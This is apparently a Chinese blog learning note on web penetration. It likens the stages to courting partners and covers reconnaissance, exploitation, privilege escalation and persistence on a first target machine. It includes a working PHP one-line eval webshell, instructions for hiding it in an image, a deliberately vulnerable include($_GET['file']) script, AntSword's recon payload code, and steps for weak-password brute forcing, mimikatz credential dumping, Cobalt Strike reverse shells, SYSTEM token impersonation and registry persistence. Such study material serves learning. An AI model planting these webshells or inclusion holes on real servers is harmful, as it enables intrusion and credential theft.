安全学习记录——渗透篇(三)初步渗透流程,第一台设备

最近一段时间学渗透感觉东西好多,每一个都可以讲但是好像又讲不出什么东西,今天就记录一下学习的过程,并不是什么高深的东西,真正高深的东西我还远远没有接触到。

首先我们需要知道渗透的最终目的是要控制对方的设备,无论什么设备。单纯的破坏性攻击是一种过河拆桥的行为,会成为全网公敌的,除非有国家军事力量支持。有人会说我精准投放并且控制受害范围不就好了。就连美国和以色列的渗透专家都不能保证震网只存在于伊朗的内网中,我们凭什么觉得自己可以精确控制病毒传播。这里我们以海王找对象为例子来看看渗透的具体流程。

信息收集:
  • 一般情况下,想要找到对象,首先得有社交,天天自己跟自己玩怎么能找到呢。而且还得别人也愿意跟我们社交,无论说什么都只回一个“嗯”,或者干脆不回,那也没有用的。而且对方距离太远不行,都见不到那根本不算对象,叫网友;年龄差距太大也不行,没什么共同话题。所以我们首先要做的事情看看什么设备能连上,网络世界能连上对方并且对方愿意回应并且遵循相同协议规则是一切的基础,否则后面一切免谈。其中包含IP、端口、文件权限
  • 找到了愿意回应(PING)且基本处于同一频道(协议)的人后,我们要开始收集个人信息了

找对象

渗透

性别(别找错了被撅)

什么设备(别搁那渗透半天发现是个交换机)

姓名(不能总是叫‘你’和‘喂’吧)

设备的型号(一些机器本身就有独特的漏洞)

身份(文化环境啊、认知误差啊等等,这些决定了一些重要细节,比如重要日子)

系统(不同系统漏洞不同)

学历(可能能干什么)

版本号(漏洞随更新的可能变化)

工作和收入(物质基础,现在能干什么)

功能(能借这个设备干什么)

喜好(怎么找共同话题)

额外支持的协议(别发了半天包人家根本不收)

家庭环境(把家人搞定了吹风都能吹成功一大半)

旁站或社工(在这个地址上的别的站点的漏洞或者借用内部的人攻破)

日常安排(成为时间管理大师)

定时任务(机器和人的工作时间,钻时间的空子)

漏洞利用:
  • 当我们了解了对方的信息后,首先要做的就是从陌生人变成朋友,也就是我们单方面找对方的关系逐渐变成对方也能主动找我们。这种情况可以理解为我们在对方心理种了一种思想,让对方和我们保持联系,这种联系并不是持续的,而是只要我们发了消息就会有回应,这种思想可以通过针对性地帮忙、送礼、请客、关心来植入,这些行为的基础就是我们之前收集到的信息。在渗透中,我们通过木马来实现。
  • 首先我们需要有植入木马的能力,在我们可以访问到一个网站,并且充分了解这个网站以及背后服务器、设备等基本信息后,就需要利用漏洞来植入木马。漏洞可以来自于我们之前收集到的信息(知道在重要节日和生日送什么类型的礼是最基本的)或者找出新的0day漏洞,也就是没人发现过的漏洞(我们可以选择整新活来代替送礼)。漏洞的知识就很复杂了,我们假设一个网站可以任意上传文件并且不对文件进行更改那么后台就变成了这个样子:这里多出了两个文件,一个是picture.php,这是文件包含漏洞代码;一个是2.jpg,这个是图片木马。图片马必须要前面这个文件包含代码才能被读取并执行。这里我是通过爆破后台弱口令进入phpmyadmin再使用sql语句利用本地目录传入的文件。不用纠结这个操作怎么做,这是个漏洞利用过程,还有很多方法可以做到同样的效果,比如注入漏洞。我们的核心在渗透流程和木马上,之所以用图片马是因为两个文件不容易被杀掉。起码windows自带的防护功能不行,总之我实验了是这样。所以漏洞利用的核心思想并不是去看漏洞长什么样子,而是利用这个挂东西上去,漏洞的内容太多,没有目标容易学迷糊。
  • 先来说说图片马的原理,其实就是在图片中添加了一个一句话木马,我们可以通过010editor或者用记事本打开来直接写入木马,随便写哪里都无所谓。只是假设对方对上传图片进行二次渲染后,我们使用010editor来找没有被更改的区域来插入木马会比较方便一点。总之就是要保证传入的文件里保持有木马,并且可执行。
  • 然后我们来看看一句话木马
    <?php @eval($_POST['abc']); ?>

    这个代码表示以php的方式来发送一个POST请求并执行abc对象。这是向服务器提交的,也就是说只要我们把abc变成代码,就会被服务器执行并返回结果,我一般通过蚁剑来实现这种连接。我们再来看看蚁剑,这里输入了我们木马所在的文件地址,以及木马中包含的abc。一旦我们连接图片马,蚁剑就会发一个包,如下图:在这里,abc变成了一串编码,而这串编码就是自动创建连接条件并执行的命令代码,这串代码会被提交到对方机器上并运行,所以相当于对方自己运行了代码并产生结果然后通过POST的响应返回给我们,这段代码长下面这个样子

    @ini_set("display_errors", "0");//关闭错误提示
    @set_time_limit(0);//执行时间
    
    //接收参数并返回
    function asenc($out){
    	return $out;
    };
    
    function asoutput(){
    	$output=ob_get_contents(); //得到缓冲区数据
    	ob_end_clean(); //清理(擦除)缓冲区并关闭输出缓冲
    	echo "c6b05fd97";
    	echo @asenc($output);//输出接收到的缓冲区内容
    	echo "d69e35d304";
    }
    ob_start(); //打开输出缓冲区保存所有输出
    
    //获取基本信息
    try{
    	$D=dirname($_SERVER["SCRIPT_FILENAME"]); //获取当前url路由的绝对路径
    	if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); //当前脚本所在文件基本路径,服务器映射结果
    	$R="{$D}	";//拼接格式得到'/../	'
    	
    	//判断是否存在盘符目录。win的话就C-Z查找
    	if(substr($D,0,1)!="/"){
    		foreach(range("C","Z")as $L)
    		if(is_dir("{$L}:"))
    			$R.="{$L}:";//添加在R后面得到'/../	C:'
    	}
    	else{
    		$R.="/";
    	}
    		
    	$R.="	";
    	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";//查找当前进程的真实组ID u='1234',没有为空
    	$s=($u)?$u["name"]:@get_current_user();//u为空的话就查当前所有者名字,不为空则保留
    	$R.=php_uname();//获取操作系统的php信息扔在后面'windows server 2008 #......'
    	$R.="	{$s}";//再添加上面s的信息'/../	C:	windows server 2008 #......	1234'
    	echo $R;;
    }
    catch(Exception $e){
    	echo "ERROR://".$e->getMessage();
    };
    asoutput();
    die(); //获取目录,uid,系统信息,用户等信息
  • 不同的操作当然会有不同的代码,想要自己做工具的可以自己去研究,这里只是说明我们可以通过木马来简单控制对方的原理。这里再说明一下为什么要使用POST,因为POST的请求是没有长度限制的,响应也会返回几乎任何内容,所以我们代码可以想写多长就写多长,自然也可以实现更多复杂的功能。
  • 有人可能会发现这里的图片马路径是/picture.php?file=upload/2.jpg,其中picture.php的代码是
    <?php
    $file = $_GET['file'];
    include $file;
    ?>

    这里我们给uri添加了一个参数file,使用的是get的方法,所以直接再url中添加就行。这可以使得我们的图片被包含在一个php框中全部作为代码被读取,然后就可以执行内部的php代码,并且会自动忽略掉乱码。如果我们直接读取/upload/2.jpg会得到返回数据为空的错误,因为服务器会把这个文件最终还原成为一个图片,而不是作为代码来读取,没有POST响应,所以就是空值。

  • 然后我们去蚁剑看看,就能看到我们记录的对方返回的相关信息,右键就能进入cmd、文件页面、数据库(需要自己添加)。这里我们需要注意一件事,有这个记录并不代表我们一直和对方保持连接,这只是上方php代码返回的相关信息的整理而已,我们要实现控制和文件读取更改等每一项操作都需要蚁剑根据已知的木马信息重新发包,再在蚁剑的页面里刷新结果,所以,就算对方关机了,我们仍然有这个记录,还是可以查看文件夹,只是对方关机后我们发包没人回稍微等一会后会报错而已。操作文件就更简单了,和Windows一模一样。

权限提升:

这个我不会,提权的具体操作要涉及到汇编,没学过,就算给我文章我也看不懂,我只能说一下这个大概是个什么原理。和对方成为朋友之后,我们并不是止步于此,而是想要关系再进一步,因此,我们需要发掘出对方的理想型,然后让自己通过各种表现来符合这个理想型的标准,于是最后才能表白成功或者被成功表白。在msf中有一个渗透后的提权方式:getsystem

  • 到了这一步,我们早就过了筛选物质条件的时候了,而是更多地看对方是否在精神层面上更契合,但是很多人并不知道自己的理想型到底是什么样子,人是一切社会关系的总和,包括虚拟的人,理想型也是在相处过程中逐步成型的,我们与其等这个虚拟的人随机生成,不如主动去引导。系统的最高权限是system,所以我们要创建一个可以直接以system启动的程序,让这个程序等待连接命名管道。因为我们已经连上对方了,所以我们可以使用mimikatz去读取这个window储存在内存里面的账号密码明文,这是通过Lsass实现的,不要问底层原理,我不知道。这里使用的cobalt strike,随便搜一下教程一堆,我们需要学习的并不是单纯地什么工具能干什么,而是我们需要做什么因此可以使用什么工具。然后通过工具自带的控制台切换到管理员:runas /users:admin cmd。这样我们就有创建这个程序的基本权限,防止普通账户被限制。命名管道就是一个进程的通信管道,不用知道原理,只用知道它可以让两个完全没关系的进程互相传递数据就行。这里再多提一嘴,CS上线机器使用的也是木马,但是这个不是我们去连别人,而是运行木马反向让别人连我们,使用的仍然是TCP协议,通过传输数据来达成控制对方shell的能力,所以叫做反弹shell。放入和运行木马靠的是蚁剑。CS自带基础免杀功能。
  • 在引导对方形成了理想型后,我们需要做的是让对方将我们刻意创造出来的理想型和我们自己联系在一起。对方通过比对双方的特质来确认是否符合,对比过来对比过去就创造了一个专属的虚拟对比通道。我们也可以通过某些语言提醒来激活对方的对比行为,而不是等着对方随性给我们打分。在提权中,我们就通过管理员账户创造了一个进程,而这个进程会创建一个命名通道。然后我们就将前面的程序和这个进程通过命名通道连接在一起
  • 单纯概念的对比并不能带来强烈的情感,人的大脑想要理解并记住一个东西就得把形而上的概念抽象成简单的短语描述,因此想要将自己刻到对方心里面需要给我们贴上一些符合对方喜好的标签,这些标签会加深映像,极大地提升重要程度,对方见到我们就会不由自主地浮现这些对方喜欢的标签,这样就算我们成功了。命名管道的作用只是连接了程序和进程,计算机并不能从平等的数据中感觉到这个程序的重要性,因此我们使用ImpersonateNamedPipeClient()生成一个system的token,然后程序借用这个token启动cmd,现在,随便我们写写画画。
权限维持:

这个说实话,我只是了解了大概的操作,但是更深层的原理还是看不懂,这就是非计算机专业的坏处了,基础知识太差导致没有办法深挖。

当关系更进一步后,我们需要把关系维持下去,不能把对方当天哄得开心了,回头第二天就开始讨厌我们,如果真讨厌了,有错道歉,道歉没用自己也没错就趁早跑,和反复无常的人在一起迟早要出问题。渗透过程中,我们可能会遇上对方设备关机的情况,要是我们植入的后门在关机后就不运行了,那还有什么用,所以我们可以将后门添加入注册表启动项,进程开机自启动。渗透过程也要时刻注意,一旦发现权限丢失,排查无效就干直接放弃,因为这大概率意味着对面要准备顺着网线来打我们了。我还没见过短时间内杀软突然认识病毒了然后杀掉的情况,没办法,才学一个多月,经验太少了。但是感觉今后态势感知加上AI、云计算和物联网是有可能做到的。

到此,我们已经完成第一个设备的攻略,但是海王可从来不会只看第一个,而是后面千千万万个。所以接下来我们就要通过内网穿透和横向来渗透藏在内网里的无法直接访问到的设备,不断扩展我们的圈子,最终搞到最重要的那个。这个后面写了,因为这部分基本全得靠工具,没办法说太多基本原理,我要是有这个本事搞懂这些,还能不借助工具自己做,那我还有什么可学的,直接去护网了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值